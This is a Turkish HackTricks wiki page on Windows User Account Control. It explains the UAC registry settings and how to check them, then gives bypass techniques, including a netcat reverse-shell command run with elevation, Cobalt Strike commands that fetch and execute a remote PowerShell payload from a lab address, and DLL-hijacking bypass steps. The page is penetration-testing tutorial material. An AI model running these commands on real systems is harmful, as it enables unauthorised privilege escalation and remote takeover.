hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

20 KiB
Raw Blame History

UAC - Kullanıcı Hesabı Kontrolü

Sıfırdan kahraman olana kadar AWS hackleme htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!

HackTricks'i desteklemenin diğer yolları:

Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest'i kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

Kullanıcı Hesabı Kontrolü (UAC), yükseltilmiş etkinlikler için onay isteyen bir özelliktir. Uygulamalar farklı bütünlük seviyelerine sahiptir ve yüksek seviyede bir program, sistemi potansiyel olarak tehlikeye atabilecek görevleri gerçekleştirebilir. UAC etkinleştirildiğinde, uygulamalar ve görevler her zaman bir yönetici hesabının güvenlik bağlamı altında çalışır, yönetici bu uygulamaların/görevlerin sisteme yönetici düzeyinde erişim sağlaması için açıkça izin vermedikçe. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir ancak bir güvenlik sınırı olarak kabul edilmez.

Daha fazla bütünlük seviyeleri hakkında bilgi için:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

UAC devredeyken, bir yönetici kullanıcıya 2 belirteç verilir: düzenli düzeydeki normal işlemleri gerçekleştirmek için standart kullanıcı anahtarı ve yönetici ayrıcalıkları olan bir belirteç.

Bu sayfa, UAC'nin çalışma şekli, oturum açma işlemi, kullanıcı deneyimi ve UAC mimarisini detaylı olarak ele alır. Yöneticiler, yerel düzeyde (secpol.msc kullanarak) UAC'nin nasıl çalışacağını kurumlarına özgü olarak yapılandırmak için güvenlik politikalarını kullanabilir veya yapılandırabilir ve Active Directory etki alanı ortamında Grup İlkesi Nesneleri (GPO) aracılığıyla yapılandırabilir ve dağıtabilir. Çeşitli ayarlar detaylı olarak burada ele alınmıştır. UAC için ayarlanabilecek 10 Grup İlkesi ayarı bulunmaktadır. Aşağıdaki tablo ek detaylar sağlar:

Grup İlkesi Ayarı Kayıt Defteri Anahtarı Varsayılan Ayar
Yerleşik Yönetici hesabı için Yönetici Onay Modu FilterAdministratorToken Devre Dışı
UIAccess uygulamalarının güvenli masaüstü kullanmadan yükseltme isteğine izin ver EnableUIADesktopToggle Devre Dışı
Yönetici Onay Modunda Yöneticiler için yükseltme isteği davranışı ConsentPromptBehaviorAdmin Windows dışı ikili dosyalar için onay iste
Standart kullanıcılar için yükseltme isteği davranışı ConsentPromptBehaviorUser Güvenli masaüstünde kimlik doğrulama isteği
Uygulama yüklemelerini algıla ve yükseltme isteği için uyar EnableInstallerDetection Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan)
Yalnızca imzalı ve doğrulanmış yürütülebilir dosyaları yükselt ValidateAdminCodeSignatures Devre Dışı
Güvenli konumlarda yüklü UIAccess uygulamalarını yükselt EnableSecureUIAPaths Etkin
Tüm yöneticileri Yönetici Onay Modunda çalıştır EnableLUA Etkin
Yükseltme isteği yaparken güvenli masaüstüne geç PromptOnSecureDesktop Etkin
Dosya ve kayıt defteri yazma hatalarını kullanıcı başına konumlara sanallaştır EnableVirtualization Etkin

UAC Atlatma Teorisi

Bazı programlar, kullanıcının yönetici grubuna ait olduğu durumlarda otomatik olarak yükseltilir. Bu ikili dosyaların içinde Manifestolar bulunur ve autoElevate seçeneği True değerine sahiptir. Ayrıca ikili dosyanın Microsoft tarafından imzalanmış olması gerekir.

Ardından, UAC'yi atlamak (orta bütünlük seviyesinden yüksek seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları kullanarak keyfi kod yürütürler çünkü bu, yüksek seviye bütünlük işleminden yürütülecektir.

Bir ikili dosyanın Manifestosunu kontrol etmek için Sysinternals'ten gelen sigcheck.exe aracını kullanabilirsiniz. Ve işlemlerin bütünlük seviyesini görmek için Process Explorer veya Process Monitor (Sysinternals'ten) kullanabilirsiniz.

UAC'yi Kontrol Et

UAC'nin etkin olup olmadığını doğrulamak için yapılacaklar:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Eğer 1 ise, UAC etkinleştirilmiştir, eğer 0 veya mevcut değilse, o zaman UAC etkisizdir.

Sonra, yapılandırılmış hangi seviye'nin kontrol edilmesi:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Eğer 0 ise, UAC uyarı vermez (engelli gibi)
  • Eğer 1 ise yöneticiye yüksek haklarla bir uygulamayı çalıştırmak için kullanıcı adı ve şifre sorulur (Güvenli Masaüstü üzerinde)
  • Eğer 2 (Her zaman beni bilgilendir) UAC, yönetici bir şeyi yüksek ayrıcalıklarla çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstü üzerinde)
  • Eğer 3 ise 1 gibi ancak Güvenli Masaüstü üzerinde gerekli değil
  • Eğer 4 ise 2 gibi ancak Güvenli Masaüstü üzerinde gerekli değil
  • Eğer 5 (varsayılan) yöneticiye, yüksek ayrıcalıklarla Windows dışı uygulamaları çalıştırmak için onay istenecektir

Ardından, LocalAccountTokenFilterPolicy değerine bakmanız gerekmektedir.
Eğer değer 0 ise, sadece RID 500 kullanıcısı (yerleşik Yönetici) UAC olmadan yönetici görevlerini gerçekleştirebilir, ve eğer 1 ise, "Yöneticiler" grubundaki tüm hesaplar bunları yapabilir.

Ve son olarak FilterAdministratorToken anahtarının değerine bakın.
Eğer 0(varsayılan), yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapabilir ve eğer 1 ise yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapamaz, LocalAccountTokenFilterPolicy değeri 1 olarak ayarlanmadıkça.

Özet

  • Eğer EnableLUA=0 veya mevcut değilse, hiç kimse için UAC yok
  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=1 , Hiç kimse için UAC yok
  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=0 ve FilterAdministratorToken=0, RID 500 (Yerleşik Yönetici) için UAC yok
  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=0 ve FilterAdministratorToken=1, Herkes için UAC var

Tüm bu bilgiler metasploit modülü kullanılarak toplanabilir: post/windows/gather/win_privs

Ayrıca kullanıcı gruplarınızı kontrol edebilir ve bütünlük seviyesini alabilirsiniz:

net user %username%
whoami /groups | findstr Level

UAC atlaması

{% hint style="info" %} Not: Eğer kurbanın grafik erişimi varsa, UAC atlaması oldukça basittir çünkü UAC uyarısı çıktığında sadece "Evet"e tıklamanız yeterlidir. {% endhint %}

UAC atlaması aşağıdaki durumda gereklidir: UAC etkinleştirilmişse, işleminiz orta bütünlük bağlamında çalışıyorsa ve kullanıcı yöneticiler grubuna aitse.

Belirtmek önemlidir ki, UAC'nin en yüksek güvenlik seviyesinde (Her Zaman) olduğunda atlamak çok daha zordur, diğer seviyelerden birinde (Varsayılan) olduğunda ise daha kolaydır.

UAC devre dışı bırakıldı

Eğer UAC zaten devre dışı bırakılmışsa (ConsentPromptBehaviorAdmin 0) şunun gibi bir şey kullanarak yönetici ayrıcalıklarıyla (yüksek bütünlük seviyesi) ters kabuk çalıştırabilirsiniz:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC token çoğaltma ile atlanması

Çok Temel UAC "atlatma" (tam dosya sistemi erişimi)

Eğer Yöneticiler grubunda olan bir kullanıcıya sahip bir kabukunuz varsa, C$ paylaşımını SMB aracılığıyla bağlayabilirsiniz (dosya sistemi) ve yeni bir diskte yerel olarak monte edebilirsiniz ve dosya sistemi içindeki her şeye erişebilirsiniz (hatta Yönetici ana klasörüne bile).

{% hint style="warning" %} Bu hile artık işe yaramıyor gibi görünüyor {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Cobalt Strike ile UAC atlatma

Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesine ayarlanmamışsa çalışacaktır.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire ve Metasploit ayrıca UAC'yi atlamak için birkaç modüle sahiptir.

KRBUACBypass

Belgeler ve araç https://github.com/wh0amitz/KRBUACBypass

UAC atlatma saldırıları

UACME birkaç UAC atlatma saldırısının birleşimidir. UACME'yi visual studio veya msbuild kullanarak derlemeniz gerekecektir. Derleme, birkaç yürütülebilir dosya oluşturacaktır (örneğin Source\Akagi\outout\x64\Debug\Akagi.exe), hangisine ihtiyacınız olduğunu bilmelisiniz.
Bazı atlatmaların kullanıcıya bir şeylerin olduğunu bildiren diğer programları tetikleyebileceğini unutmayın.

UACME, her tekniğin çalışmaya başladığı derleme sürümüne sahiptir. Sürümünüzü etkileyen bir tekniği arayabilirsiniz:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Ayrıca, bu sayfayı kullanarak Windows sürümü 1607'yi yapı sürümlerinden alabilirsiniz.

Daha Fazla UAC Atlatma

Burada kullanılan tüm teknikler, AUC'yi atlamak için kurbanla tam etkileşimli bir kabuk gerektirir (genelde nc.exe kabuğu yeterli değildir).

Bunu bir meterpreter oturumu kullanarak elde edebilirsiniz. Session değeri 1 olan bir işleme geçiş yapın:

(explorer.exe çalışmalı)

GUI ile UAC Atlatma

Eğer bir GUI'ye erişiminiz varsa, UAC uyarısını aldığınızda sadece kabul edebilirsiniz, gerçekten bir atlatıcıya ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak, UAC'yi atlatmanıza izin verecektir.

Ayrıca, birisi tarafından kullanılan bir GUI oturumuna erişirseniz (potansiyel olarak RDP aracılığıyla) yönetici olarak çalışacak bazı araçlar bulunmaktadır, buradan doğrudan yönetici olarak örneğin cmd çalıştırabilirsiniz ve UAC tarafından tekrar uyarılmadan https://github.com/oski02/UAC-GUI-Bypass-appverif gibi. Bu biraz daha gizli olabilir.

Gürültülü kaba kuvvet UAC Atlatma

Gürültü yapmaktan endişe etmiyorsanız, her zaman https://github.com/Chainski/ForceAdmin gibi bir şey çalıştırabilir ve kullanıcı izinlerini yükseltmesini isteyebilirsiniz.

Kendi atlatıcınız - Temel UAC atlatma metodolojisi

UACME'ye bir göz atarsanız, çoğu UAC atlatıcısının Dll Hijacking zafiyetini kötüye kullandığını göreceksiniz (genellikle kötü niyetli dll'yi C:\Windows\System32'ye yazma). Bir Dll Hijacking zafiyeti bulmayı öğrenmek için burayı okuyun.

  1. Yükselecek bir ikili bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
  2. Procmon ile "NAME NOT FOUND" olaylarını bulun ve DLL Hijacking için savunmasız olabilecek olayları belirleyin.
  3. Muhtemelen, kötü niyetli DLL'yi bazı korunan yollara (örneğin C:\Windows\System32) yazmanız gerekecektir. Bu, şunları kullanarak atlatılabilir:
  4. wusa.exe: Windows 7, 8 ve 8.1. Bu, korunan yollara bir CAB dosyasının içeriğini çıkarmaya izin verir (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
  5. IFileOperation: Windows 10.
  6. DLL'nizi korunan yola kopyalamak ve savunmasız ve yükselecek ikiliyi çalıştırmak için bir betik hazırlayın.

Başka bir UAC atlatma tekniği

OtoYükselen bir ikilinin, kayıttan bir ikili veya komutun adını/yolunu okumaya çalışıp çalışmadığını izlemek (bu, ikilinin bu bilgiyi HKCU içinde araması daha ilginçtir).

Dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturmak ve otomatikleştirmek için Trickest'i kullanın.
Bugün Erişim Sağlayın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}